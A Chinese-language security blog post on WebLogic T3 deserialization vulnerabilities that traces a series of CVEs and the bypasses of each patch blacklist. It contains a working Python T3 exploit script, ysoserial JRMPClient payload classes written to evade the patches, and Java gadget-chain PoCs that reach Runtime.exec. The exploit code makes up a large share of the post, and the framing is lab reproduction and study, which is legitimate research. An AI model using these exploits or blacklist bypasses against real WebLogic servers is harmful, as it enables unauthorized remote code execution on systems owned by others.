Weblogic T3 反序列化
環境搭建:https://github.com/QAX-A-Team/WeblogicEnvironment
其中libnsl庫因為源的問題裝不上的話,就在Dockerfile里注釋掉RUN yum -y install libnsl
漏洞復現建議jdk7u21+weblogic1036
T3
T3協議時Weblogic RMI的通信協議。
關于RMI可以看我在先知社區的另一篇:https://xz.aliyun.com/t/11967
RMI的基礎通信協議是JRMP,支持其他協議來優化傳輸,比如Weblogic T3
數據包組成
T3的數據包由【數據包長度】【T3協議頭】【反序列化標志】【數據】組成
其中T3協議頭是固定的,T3協議中反序列包標志為fe 01 00 00,ac ed 00 05是反序列化標志,所以標志就是fe 0q 00 ac ed 00 05
直接搭配ysoserial就能打入序列化流
T3通信過程
wireshark抓個包:打poc時直接抓127.0.0.1就行


首先發一個握手請求:t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
Weblogic回應HELO:版本號.false+確認請求
后面的數據包也就是我們的payload
CVE-2015-4812漏洞復現
poc:
from os import popen
import struct # 負責大小端的轉換
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial-for-woodpecker-0.5.3-all.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,'-g',gadget,'-a',cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "raw_cmd:touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
更改一下ysoserialpath運行之后會顯示Weblogic版本,同時在docker的/tmp/下創建success
這里ysoserial用的https://github.com/woodpecker-framework/ysoserial-for-woodpecker
- poc分析:generatePayload函數先用CC1生成了序列化數據
- ? T3Exploit發送了一個
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n請求包,然后從相應包中匹配字符串HELO:和0.false中間的部分,也就是weblogic的版本號。 - ? 然后是
00000000進行占位,該位置為數據包長度,設置完POC后再來改。定義了固定的t3header和反序列化標志頭fe010000。RFC1700規定使用“大端”字節序為網絡字節序,所以對生成的payload使用>大端模式打包,I表示unsigned int。 - 測試運行:


漏洞分析
反序列化的入口在weblogic.rjvm.InboundMsgAbbrev#readObject()

ServerChannelInputStream()繼承自ObjectInputStream,重寫了resolveClass方法。

其中就毫無過濾的調用了lookup,經典的jndi
調試看一下我們打的什么類過去,在resolveClass打上斷點,然后打一遍payload:

可以看到是AnnotationInvocationHandler類
CVE-2015-4852修復
在InboundMsgAbbrev#readObject()中加入了if判斷,對類設了黑名單(不過可以繞)
if (className!=null && className.length()> 0 && ClassFilter.isBlackListed(className))
throw new InvaildClassException("Unauthorized deserialization attempt",descriptor.getName());
CVE-2016-0638
復現需要打補丁,找不到懶得打了,簡單說一下繞過,不寫poc了
黑名單列表為:
+org.apache.commons.collections.functors, +com.sun.org.apache.xalan.internal.xsltc.trax, +javassist,+org.codehaus.groovy.runtime.ConvertedClosure, +org.codehaus.groovy.runtime.ConversionHandler, +org.codehaus.groovy.runtime.MethodClosure
作用于以下幾個類:
weblogic.rjvm.InboundMsgAbbrev.class的子類ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class
打上了黑名單上的類,就基本上阻斷了大部分反序列化鏈,所以只有舍棄這幾個類的resolveClass了。
ObjectInputStream在進行readObject時,會調用readObject,readExternal,readResolve。只封了兩個子類readObject下的resolveClass,那可以換個子類嘛,又不是直接對父類readObject設了黑名單(不直接對ObjectInputStream打補丁我不是很認可doge)
雖然 AnnotationInvocationHandler 類不在類黑名單里面,但是一些Gadget所用到的類在黑名單里面,而在AnnotationInvocationHandler 類直接通過 InboundMsgAbbrev#readObject 進行反序列化的過程中會再次調用到 ServerChannelInputStream#resolveClass 方法來處理比如 org.apache.commons.collections.map.LazyMap 類,而這個類會被黑名單檢測到 ,這樣一來自然就被攔截了
我們需要找到一個類符合以下條件:
- readObject()中創建了自己的InputStream對象
- readObject()不能是黑名單類中的readObject()
- readObject()進行了反序列化
weblogic.jms.common.StreamMessageImpl#readExternal()就符合上述條件,不在黑名單內。
源碼分析
該函數里創建了InputStream,進行了反序列化。

利用方式
使var3為1,var4為惡意序列化數據,重寫StreamMessageImpl#writeExternal方法。
CVE2016-3510
用到的MarshalledObject#readResolve方法:

惡意對象傳到var2,也就是objBytes變量就行了
CVE-2018-2628
在InboundMsgAbbrev的子類ServerChannelInputStream重寫了resolveProxtClass()
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
如果是java.rmi.registry.Registry就拋出異常,否則執行父類的resolveProxyClass()
這里只限制了遠程對象的java.rmi.registry.Registry接口,而且還是走代理才能進resolveProxy。
- 不走代理,把ysoserial的Proxy部分刪掉
- 換一個遠程對象接口,不用java.rmi.registry.Registry
具體實現看c0e3佬:https://www.cnblogs.com/nice0e3/p/14296052.html
我直接抄:
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
PayloadRunner.run(JRMPClient1.class, args);
}
}
改接口ysoserial上自帶了
CVE-2018-2893
補丁:
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
黑名單加了UnicastRef,不能建立RMI連接了,也就阻斷了上面兩種攻擊方式。
可以學習0638的繞過方式(也是封裝進StreamMessageImpl),把Gadget封裝進StreamMessageImpl,不走InboundMsgAbbrev也就不會遇到黑名單
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object));
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
需要weblogic 部分jar的依賴
CVE-2018-3248
補丁添加了:
java.rmi.activation.* sun.rmi.server.* java.rmi.server.RemoteObjectInvocationHandler java.rmi.server.UnicastRemoteObject
封裝StreamMessageImpl需要用到RemoteObjectInvocationHandler遠程類。遠程接口實現類還必須繼承UnicastRemoteObject。另外一個RMI接口也被封掉了
進行繞過的類也就必須像RemoteObjectInvocationHandler和UnicastRemoteObject一樣,繼承RemoteObject。這里面隨便選一個。。

CVE-2020-2555
主要源于coherence.jar存在能gadget的類。

漏洞的入口點為BadAttributeValueException.readObject()
- 調用鏈:
* gadget: * BadAttributeValueExpException.readObject() * com.tangosol.util.filter.LimitFilter.toString() * com.tangosol.util.extractor.ChainedExtractor.extract() * com.tangosol.util.extractor.ReflectionExtractor.extract() * Method.invoke() * ... * Runtime.getRuntime.exec()
漏洞分析
BadAttributeValueExpException反序列化會調用指定對象的toString()

為什么toString可以觸發gadget?
跟著調用鏈先看到RefletionExtractor#extract(),通過傳輸oTarget對象,利用findMethod獲取對象指定參數,使用invoke進行了方法調用

readExternal到readObject,并沒有調用extract,需要找個中間商

在com.tangosol.util.extractor.ChainedExtractor#extract鏈式調用了參數對象的extract

ChainedExtractor本身也無法調用extract
com.tangosol.util.filter.LimitFilter#toString()對extract()進行了調用

其中m_oAnchotTop可以用setter設置屬性值

又回到剛開始,BadAttributeValueExpException反序列化會調用指定對象的toString()。就構成了鏈
poc:
public class CVE_2020_2555 {
public static void main(String[] args) throws Exception {
ReflectionExtractor[] reflectionExtractors = new ReflectionExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{"null", new Class[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);
LimitFilter limitFilter = new LimitFilter();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, limitFilter);
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("weblogic_2020_2551.ser"));
os.writeObject(badAttributeValueExpException);
os.close();
ObjectInputStream is = new ObjectInputStream(new FileInputStream("weblogic_2020_2551.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
結合T3打的話就把生成的weblogic_2020_2551.ser字節碼拼到payload里
拓展
BadAttributeValueExpException在jdk7中沒有toString,但是有compare(),而且ChainedExtractor是實現了Comparator接口的,什么原版CC2出現了
初始化一個正常的comparator,add后反射修改m_aExtractor
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);
Field f = queue.getClass().getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArray = (Object[]) f.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = "1";
CVE-2020-2883
CVE-2020-2555調用鏈:
* gadget: * BadAttributeValueExpException.readObject() * com.tangosol.util.filter.LimitFilter.toString() * com.tangosol.util.extractor.ChainedExtractor.extract() * com.tangosol.util.extractor.ReflectionExtractor.extract() * Method.invoke() * ... * Runtime.getRuntime.exec()
CVE-2020-2883在com.tangosol.util.filter.LimitFilter.toString() 處打上了補丁,不過依舊能用ExtractorComparator。
Gadget1:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
com.tangosol.util.comparator.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
.......
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
并且還有另外一個類:MultiExtractor
MultiExtractor#extract()如下,經典的鏈式調用extract()

aExtractor[i]來自this.getExtractors(),this指向AbstractCompositeExtractor類,所以修改該類的m_aExtractor指向ChainedExtractor實現調用

MultiExtractor使用的父類AbstractExtractor的compare()
Gadget2:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
.......
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
EXP不貼了,移步:https://xz.aliyun.com/t/8577
- 說點其他的,外網可以采用web代理和負載均衡對T3協議攻擊進行防護。因為web代理只轉發HTTP請求,不轉發T3協議。負載均衡可以指定負載均衡協議類型,設置為接收HTTP請求不接受其他請求也能防護T3攻擊。而且T3這種遠程開發的協議就是應該開在內網,所以外網碰見能打的weblogic真是少之又少
具體的POC復制粘貼多次我不好意思,在各位大佬的ysoserial里都有
合天網安實驗室
合天網安實驗室
安全圈
D1Net
安全圈
安全圈
一顆小胡椒
安全圈
RacentYY
黑白之道
D1Net
GoUpSec